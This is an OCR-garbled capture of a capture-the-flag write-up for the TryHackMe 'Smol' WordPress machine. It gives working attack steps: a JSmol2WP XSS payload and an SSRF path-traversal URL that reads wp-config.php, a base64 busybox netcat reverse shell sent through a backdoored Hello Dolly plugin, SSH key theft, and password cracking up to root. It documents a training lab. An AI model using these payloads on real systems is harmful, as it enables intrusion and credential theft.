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The following post by OxbO0b is licensed under CC BY 4.0

Recon

We start with an Nmap scan and find only two open ports. Port 22 and 80.

~/Documents/tryhackme/smol
smol. thm
Starting Nmap 7.945VN ( https://nmap.org ) at 2025-01-24 15:46 EST
Nmap scan report for smol.thm (10.10.191.162)
Host is up (@.041s latency).
) 3 closed tcp ports (conn-refused)
f SERVICE
cp open ssh
cp open http

Nmap done: IP address (1 host up) scanned in 498.57 seconds

2025-01-24 14:02 EST

C:41:6d:83:39: f¢
he httpd 2

https://0xb0b.gitbook.io/writeups/tryhackme/2025/smol 1/21


https://0xb0b.gitbook.io/writeups/tryhackme
https://0xb0b.gitbook.io/writeups/tryhackme/2025
http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1
http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1
http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1
http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1
http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1
https://tryhackme.com/r/room/smol
https://0xb0b.gitbook.io/writeups
https://tryhackme.com/p/0xb0b
https://app.hackthebox.com/profile/536676
https://tryhackme.com/signup?referrer=60ac3149c3569700531794d7

1/31/25, 10:14 PM Smol | Writeups

When accessing the site, we are redirected to www.smol.thm . We have to add this to our
/etc/hosts in order to reach the page.

The page looks a little unimpressive with static links. However, as we will find out later, it

gives us all the information we need to obtain RCE. The page covers the topics of XSS,
SSRF and RCE.

i@ Welcome to the Ethical Hacking
Playground Room!

We cannot find any other VHOSTSs.

ffuf -w /usr/share/wordlists/SeclLists/Discovery/DNS/subdomains-topimillion-
110000.txt -u http://smol.thm/ -H "Host:FUZZ.smol.thm" -fw 1

=~/Documents//tryhackme/smal
fusr/share/wordlists/Seclists/Discovery/DNS/subdomains-topilmillion-11000@. txt http

s-toplmillion-112@

8p-299,301, 302

Words: 2096, Lines: 403, Duration: 141ms]
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The directory scan using Feroxbuster shows us that it is a Wordpress site. For example,
through the /wp-content directories. We can also discover the Smol plugin that gives the
room its name.

feroxbuster -u 'http://www.smol.thm' -w
/usr/share/wordlists/Seclists/Discovery/Web-Content/directory-1list-lowercase-
2.3-medium.txt

~/Documents/tryhackme/smol

fusr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-nedium. txt

rb-Content/directory=1ist=-1lowercase-2.

new Filt
ew filt

LexMong-Light .w

We continue with a WPScan and use an API key to get a detailed report and the CVEs for
the detected vulnerabilities. An APl key can be obtained free of charge at
https://wpscan.com/ .

wpscan --url http://www.smol.thm --api-token REDACTED
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WordPress Security Scanner by the WPScan Team
Version 3.8.25
Sponsored by Automattic - https://automattic.com/
@ _WPScan_, @ethicalhack3r, @erwan_lr, @firefart

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]Y

[i] Updating the Database ...

[i] Update completed.

[+] URL: http://www.smol.thm/ [10.10.191.162]
[+] Started: Fri Jan 24 14:06:59 2025

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://www.smol.thm/xmlzrpc.php

| Found By: Direct Access (Aggressive Detection)

| Confidence: 100%

| References:

| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_s«
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlxrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_.
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pinghacl

[+] WordPress readme found: http://www.smol.thm/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] Upload directory has listing enabled: http://www.smol.thm/wp-content/uploads,
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://www.smol.thm/wp-cron.php

| Found Bv: Direct Access (Aggressive Detection)
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Confidence: 60%
References:

- https://www.iplocation.net/defend-wordpress-from-ddos
- https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.4.3 identified (Insecure, released on 2024-01-30).

| Found By: Rss Generator (Passive Detection)
- http://www.smol.thm/index.php/feed/, <generator>https://wordpress.org/?v=6
- http://www.smol.thm/index.php/comments/feed/, <generator>https://wordpress

]

[!]

]

]

[!]

4 vulnerabilities identified:

Title: WP < 6.5.2 - Unauthenticated Stored XSS

Fixed in: 6.4.4

References:
- https://wpscan.com/vulnerability/1a5c5dfl1-57ee-4190-a336-b0266962078f
- https://wordpress.org/news/2024/04/wordpress-6-5-2-maintenance-and-secl

Title: WordPress < 6.5.5 - Contributor+ Stored XSS in HTML API

Fixed in: 6.4.5

References:
- https://wpscan.com/vulnerability/2c63£f136-4c1f-4093-9a8c-5e51f19eae28
- https://wordpress.org/news/2024/06/wordpress-6-5-5/

Title: WordPress < 6.5.5 - Contributor+ Stored XSS in Template-Part Block
Fixed in: 6.4.5
References:
- https://wpscan.com/vulnerability/7c448f6d-4531-4757-bff0-be9e3220bbbb
- https://wordpress.org/news/2024/06/wordpress-6-5-5/

Title: WordPress < 6.5.5 - Contributor+ Path Traversal in Template-Part B:
Fixed in: 6.4.5
References:
- https://wpscan.com/vulnerability/36232787-754a-4234-83d6-6ded5e80251c
- https://wordpress.org/news/2024/06/wordpress-6-5-5/

[+] WordPress theme in use: twentytwentythree

]
[!]

Location: http://www.smol.thm/wp-content/themes/twentytwentythree/
Last Updated: 2024-11-13T00:00:00.000Z
Readme: http://www.smol.thm/wp-content/themes/twentytwentythree/readme.txt

The version is out of date, the latest version is 1.6
Directory listing is enabled

Style URL: http://www.smol.thm/wp-content/themes/twentytwentythree/style.css
Style Name: Twenty Twenty-Three

Style URI: https://wordpress.org/themes/twentytwentythree

Description: Twenty Twenty-Three is designed to take advantage of the new des:
Author: the WordPress team

Author URI: https://wordpress.org

https://0xb0b.gitbook.io/writeups/tryhackme/2025/smol
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Found By: Urls In Homepage (Passive Detection)

Version: 1.2 (80% confidence)
Found By: Style (Passive Detection)
- http://www.smol.thm/wp-content/themes/twentytwentythree/style.css, Match:

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] jsmol2wp

Location: http://www.smol.thm/wp-content/plugins/jsmol2wp/
Latest Version: 1.07 (up to date)
Last Updated: 2018-03-09T10:28:00.000Z

Found By: Urls In Homepage (Passive Detection)
[!'T 2 vulnerabilities identified:

[!] Title: JISmol2WP <= 1.07 - Unauthenticated Cross-Site Scripting (XSS)
References:
- https://wpscan.com/vulnerability/Obbf1542-6e00-4a68-97f6-48a7790d1c3e
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20462
- https://www.cbiu.cc/2018/12/WordPress¥E69%8F%92%EA%BB%B67smol2wpsE6SBCIHE

[!] Title: JISmol2WP <= 1.07 - Unauthenticated Server Side Request Forgery (SSI
References:
- https://wpscan.com/vulnerability/ad0ldad9-12ff-404f-8718-9ebbd67bf611
- https://cve.mitre.oxrg/cgi-bin/cvename.cgi?name=CVE-2018-20463
- https://www.cbiu.cc/2018/12/WordPress¥E69%8F%92%EA%BB%B6]smol2wpfE69BCIH

Version: 1.07 (100% confidence)
Found By: Readme - Stable Tag (Aggressive Detection)
- http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt
Confirmed By: Readme - Changelog Section (Aggressive Detection)
- http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
CheCking Conflg BaCkupS - Time: 00:00:02 S S e e e e e e e e e e e e e e e e e e e e e e e e e et e

[i] No Config Backups Found.

[+] WPScan DB API OK

Plan: free
Requests Done (during the scan): 3
Requests Remaining: 22

[+] Finished: Fri Jan 24 14:07:07 2025
https://0xb0b.gitbook.io/writeups/tryhackme/2025/smol
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[+] Requests Done: 185
[+] Cached Requests: 5
[+] Data Sent: 45.521 KB
[+] Data Received: 13.542 MB
[+] Memory used: 271.145 MB
[+] Elapsed time: 00:00:07

XSS Vulnerability:

Title: ISmol2WP <= 1.07 - Unauthenticated Cross-Site Scripting (XSS)

& JSMOI2WP <= 1.07 - Unauthenticated Cross-Site Scripting (XSS)
WPScan

http://localhost:8080/wp-content/plugins/jsmol2wp/php/jsmol.php?
isform=true&call=saveFile&data=%3Cscriptf%3Ealert(/xss/)%3C/script%3E&mimetype=t
ext/html;%20charset=utf-8

SSRF Vulnerability:

Title: ISmol2WP <= 1.07 - Unauthenticated Server Side Request Forgery (SSRF)

& JSMOoI2WP <=1.07 - Unauthenticated Server Side Request Forgery (SSRF) N
WPScan

As an example, the wp-config file is loaded here, which could also contain credentials.

http://localhost:8080/wp-content/plugins/jsmol2wp/php/jsmol.php?
isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../..
/wp-config.php

Web Access - wpuser

We use the SSRF example payload, read the wp-config and find the credentials for the
database user wpuser .
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http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?

isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../..
/wp-config.php

Googhe Hacking DB OffSec 45 Human Resources - Lo....

¢ i) Human Re

wpuser

... and are successful.
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Shell as www-data

Under Pages we find unpublished pages.

code.

st M Koli Foruma X Kali Betbunges

Webmaster Tasks!!

I- [IMPORTANT| Check Backdoors: Verify the S0URCE CODE of “Hello Dolly® plugin as the site’s code revision

Let's take a look at the original dolly, which has a hello.php. So we might have to search for
it.
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GitHub - WordPress/hello-dolly: This is not just a plugin, it symbolizes the
0 hope and enthusiasm of an entire generation summed up in two words sung

most famously by Louis Armstrong.
GitHub

We use the SSRF vulnerability again and read the hello.php file.

http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?
isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../hello
.php

The eval php command immediately catches the eye here. The command here is base64
encoded. Well, security by obscurity won't help here.

We decode using Cyberchef and see a part encoded again.

Recips ~ damB§ Input

Out of laziness we use ChatGPT to decode this and see it is 'cmd".
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4143\155\x64 decode that

The given string \143\155\x64 contains characters in octal ( \nnn ) and hexadecimal ( \xnn )

encoding. Decoding it:
V143 (octal) — ASCIl character c.
%155 (octal) — ASCII character m .

\x64 (hexadecimal) — ASCIl character d .

Ok, so we might have the possibility to set a cmd parameter by calling hello_dolly() and get

code execution. We prepare a reverse shell using busybox. We encode this payload in
base64.

https://0xb0b.gitbook.io/writeups/tryhackme/2025/smol 12/21
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revshells.com

Theme | park

Reverse Shell Generator

IP & Port Listener

Ip 10.14.90.235 Paort +1

Bind MSFVeEnom

Marme by

# YoV zedlveCBu yAxMCaxHCE SHC yHzUgNDDBNSAT ZSAVYmluL 2T he 2g=

Encoding Basedd

Through trial and error we got a hit via index.php?cmd . Here we now pass our reverse
shell. (Of course, we set up our listener first). We get a connection back and are the user

www-data . A flag is not yet in sight.

http://www.smol.thm/wp-admin/index.php?cmd=echo
YnVzeWJveCBuYyAxMC4xNC45MC4yMzUgNDQONSAtZSAvYmluL2Jhec2g= |

https://0xb0b.gitbook.io/writeups/tryhackme/2025/smol
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~/Documents/tryhackme/smol
4445

listening on [any] 4445 ...
connect to [10.14.908,235] from (UNKNOWN) [19.10.191.162] 43252
id
uid=33({ ww-data) gid=33(mw-data) groups=33(www-data)
python3 -c "import pty; pty.spawn(”/bin/bash")’
www-datadsmol: /var/wew wordpress/wp-adming “Z
zsh: suspended nc —|.I1'\.'|:| LELS

~/Documents/tryhackme/smol
raw
[1] + continued nc -Llnvp &445

ww -data@smol: /var/ww /wordpress /wp-adming 1s
about.php is options.php
admin-ajax.php link-add.php plugin-editor.php
footer.php link-manager.php plugin=install.php
functions.php link=-parse-cpml.php plugins.php
header.php Link.php post=new.php
admin-post.php Load-scripts.php post.php
admin.php Load-styles.php press=-this.php
async-upload.php maint privacy-policy-guide.php
authorize-application.php media-new.php privacy.php
comment . php media-upload.php profile.php
contribute.php media.php revision.php
credits.php menu-header .php setup-config.php
Css menu.php site-editor.php
custom-background.php moderation.php site-health-info.php
custom-header.php ms—-admin.php site-health.php
customize.php ms-delete-site.php term.php
edit-comments.php ms-edit.php theme-editor.php
edit-form-advanced.php ms-options.php theme-install.php
edit-form-blocks.php ms-sites.php themes.php
edit-form-comment . php ms=themes.php tools.php
edit=-1link=form.php ms=upgrade-network.php update-core.php
edit-tag-form.php ms=users.php update.php
edit-tags.php my=-sites.php upgrade-functions.php
edit.php nav=menus .php upgrade .php
erase-personal-data.php network upload.php
export-personal-data.php network.php user
export.php options-discussion.php user-edit.php
freedoms . php options-general.php user-new.php
images options-head.php users.php
import . php options-media.php widgets-form-blocks.php
includes options-permalink.php widgets-form.php
index.php options-privacy.php widgets.php
install-helper.php options-reading.php
install.php options-writing.php
wwii-datag@smol: /var/we /wordpress/wp-adming JJ

Shell as diego

Since we have the credentials of the database user, let's take a look at them first.

wwi-datad@smol: /var/www /wordpress/wp-admin$ mysql -u wpuser -p
Enter password:

Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySOL connection id is 706

Server version: 8.0.36-0ubuntu®.20.@4.1 (Ubuntu}

Copyright (c) 2008, 2824, Oracle andfor its affiliates.

Oracle it a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
OWnNers.

Type "help;' or '“h' for help. Type "“c¢' to clear the current input statement.

mysaql> [

Here we find hashes for different users. Among others diego, gege and xavi.
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We also find these on the system.

www-datagsmol @ /var/ wew/wordpress,/wp-admin etc/passwd
root:x:@0:0:root:/root: /usr/bin/bash
daemon:x:1:1:daemon: /usr/sbin: fusr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:s8ys:fdev:/usr/sbin/nologin

SYNc:x:4:65534:s5ync:/bin:/bin/sync

games:x:5:60:games:fusr/games: fusr/sbin/nologin
man:x:6:12:man:/var/cache/man: fusr/sbin/nologin

lp:x:7:7:1p:/var/spool/lpd: fusr/sbin/nologin
mail:x:8:8:mail:var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news: fusr/sbin/nolegin

uucp:x:10:18:uucp: fvar/spool/uucp: fusr/sbin/nologin
proxy:x:13:13:proxy:/bin:fusr/sbin/nologin
wwwi-data:x:33:33: www-data: /var/ww:/usr/sbin/nologin
backup:x:34:34:backup: fvar/backups: fusr/sbin/nologin

list:x:38:38:Mailing List Mamager:/var/list:/usr/sbin/noloegin
irc:x:39:39:ircd: /var/run/ircd: /usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody :x:65534:65534 tnobody : /nonexistent: fusr/sbin/nologin
systemd-network:x:100:182:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd: /usr/sbin/nologin
systemd-timesync:x:102:184:systemd Time Synchronization,,,:/run/systemd: fusr/sbin/mologin
messagebus:x:103:106 :: /nonexistent:/usr/sbin/nologin

syslog:x:104:110:: /home/syslog: fusr/sbin/nologin
_apt:x:185:65534 :: /fnonexistent: fusr/sbin/nologin

ts5:x:106:111:TPM software stack,,,:fvar/lib/tpm:/bin/false

uuidd:x:107:112 :: frun/uuidd: fusr/sbin/nologin
tepdump:x:188:113 :: /nonexistent: fusr/sbin/nologin

landscape:x:109:115:: fvar/lib/landscape: /usr/sbin/nologin
pollinate:x:110:1:: /var/cache/pollinate: /bin/false

usbmux:x:111:46:usbmux daemon, ,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534 :: frun/sshd: fusr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:180 :: fvar/snap/1lxd/common,/1xd: /bin/false
think:x:1000:1008:,,,:/home/think:/bin/bash
fwupd-refresh:x:113:117 : fwupd-refresh user,,,:/run/systemd: fusr/sbin/nologin
mysql:x:114:119:MySQOL Server,,,:/nonexistent:/bin/false

xavi:x:1001:1001:: /home/xavi:/bin/bash
diego:x:1002:1002 :: fhome/diego: /bin/bash
gege:x:1003:1003 :: /home/gege: /bin/bash

We copy the hashes and select the mode for hashcat to crack them using rockyou.txt .

phpass, WordPress (MDS),

: 84761a0559wHZ vy QMArZixSSL,
Joemla (MD5) LA SER S OMAET S A1
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88 example_hashes [hashcat wiki] >

We have a hit. We can crack the hash for Diego.

\Downloads\hashcat-6.2.6> .\hashcat.exe

\Downloads\hashcat=6.2.6>

This password has been reused on the system. We can switch to the user diego using su.
We can also find the first flag in Diego's home directory.

wwi-data@smol: /var/www /wordpress/wp-admin$ su diego

:/var/ww /wordpress/wp-admin$ cd ~

diegomsmol:~% cat user.txt

Shell as think

We check the home permission and see that the group internal to which the user has
read permission. We ourselves are in the internal group as diego and therefore have read
authorization.

ol:/home$ ls -lah

root 4.8K Aug
root 3

This allows us to read the SSH key from think.
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diegogsmol: /home$ cd think/
diegof@smol: /home/think$ 1s -lah
total 32K
drwxr-x—
drwxr-xr-x
Trwxrwxrax
-TW-T—T-—
-TW-T—T—
drwx

drwx

think internal 4.0K
root root 4, QK 2
root root ] .bash_history — /dev/null
think think 220 .bash_logout
think think 3.7K .bashrc
think think 4,.8K Jan .cache
think think 4.0K Aug .gnupg
-TW-T—T-— think think 887 Jun .profile
drwxr-xr-x think think 4.08K Jun .55h
lrwxrwxrwx 1 root root 9 Aug viminfo — fdev/null
diego@smol: /home/think$ cd .ssh/
diegogsmol: /home/think/.ssh$ 1s
authorized_keys 1d_rsa id_rsa.pub
diego@smol: /home/think/.ssh$ cat id_rsa
BEGIN OPENSSH PRIVATE KEY

B LRI LA

END OPENSSH PRIVATE KEY——
diegogsmol: /home/think/.ssh$

We copy this to our machine, change the authorization and log in to the machine using the
key as think via SSH.
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~/Documents/tryhackme/smol
629 id_rsa

~/Documents/tryhackme/smol
id_rsa thinkgsmol.thm

The authenticity of host 'smol.thm (10.12.191.162)" can't be established.
ED25519 key fingerprint is SHA256:Ndgax/DOZAGISABF3afyYeVbwjVhv2fgs0AMPITqPAOS.
This host key is known by the following other names/addresses:

~/ .ssh/known_hosts:193: [hashed name]

~/.ssh/known_hosts:269: [hashed name]

=~/ .ssh/known_hosts:301: [hashed name]

~/ . ssh/known_hosts:302: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added ‘smol.thm' (ED2551%) to the list of known hosts.
elcome to Ubumtu 20.04.6 LTS (GNUSLinux S5.4.8-156-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https: /fubuntu.com/advantage

System information as of Fri 24 Jan 2035 @B:32:43 PM UTC

System load: 8.9 Processes: 136

Usage of /: 56.8% of 9.75GB Users logged in: @

Memory usage: 37% IPv4 address for ens5: 10.10.191.162
Swap usage: e

Expanded Security Maintemance for Applications is not enabled.

162 updates can be applied immediately.
125 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additionmal future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates rum: sudo apt update

thinkf@smol:~% 1s
thinkasmol:~% id
uid=1000(think) gid=1000(think) groups=10008(think},1004(dev),1005(internal)

Shell as gege

When browsing through the home directories, we see a zip file at gege, which probably
contains an old wordpress instance. Maybe we can find more material there to move
laterally. But only gege can read them.

think@smol: $ 1s -lah

total 31M

drwxr-x— 2 gege internal 4.0K

drwXr=xr=x root root 4. BK

Lrwxrwarwx root root 9 £ = JSdev/null
-rW-r—r-—- 1 gege gege 220 .bash_logout
=FW=-r—F-—- gege gege 3.7K .bashrc

-rw-r—r-- 1 gege gege 807 .profile

Lrws rwx rux root root 9 1 = Jdev/null
~IWAD-X— root gege I1M wordpress.old.zip
thinka@smol:

We can simply switch to the user gege using su. This was more of an accidental find. The
reason why this works lies in the configuration of /etc/pam.d/su . This is well explained by
Jaxafed. Don't miss out the writeups of Jaxa :).

https://0xb0b.gitbook.io/writeups/tryhackme/2025/smol
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jaxafed

We switch users to gege from think , and continue.

k@smol :

nol:~% 1s

s.old.zip

Shell as xavi

Now we are able to retrieve the wordpress.old.zip file.

-m http.server 990
p port 9908 (http 0.0.0.0:9000,)
fJan/2025 20:37:30] "GET /wordpress.old.zip HTTR/1.1" 200 -

wordpress.old 94.3MB Falder 16 August 2023, 15:30

Ergramps

O Password required

We use zip2john to generate a hash.

~/Documents/tryhackme/smol |

wordpress.old.zip hash.txtl
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And crack it using john with rockyout.txt .

~fDocuments,/tryhackme/smol
hash.txt 0
Using default input encoding: UTF-8

Loaded 1 password hash (PKZIP [32/64])
Will run & OpenMP threads

Press "g" or Ctrl-C to abort, almost any other key for status

(wort .old.zip}

g 9:90:00:90 DONE (2025-01-24 15:4@) 1.388g/s 10592Kp/s 18592Kc/s 10592KC/s hesse .. hepiboth
Use the "=-show" option to display all of the cracked passwords reliably

Session completed.

In the old wp-config file we find other db credentials for the user xavi. We also found this

user on the machine.

={Documentyftrybackmafimol fwordpres cldfap-config phep

]

We switch the user using su with the credentials and are successful. This user also reused

its credentials.

$ cd -
ls =lah

xavi internal &4.0K
root root 4 . PK
root root 9 — JSdev/null
Xavi xavi 220 .bash_logout
xavi xavi 3.7K .bashrc
Xavi xavi BO7 F .profile
Lrwxrwxrwx root root 9 = fdew/null
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Shell as root

As xavi we are allowed to run anything as root using sudo.

ay run the following commands on smol:
: ALL) ALL

So, we switch the user to root vai sudo su and are able to locate the final flag at
/root/root.txt .

bk

root r
root r
root r
root r
root r
root r

oot I

.selected_editor

1
3
1
&
1
1
1
3

.viminfo
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Light
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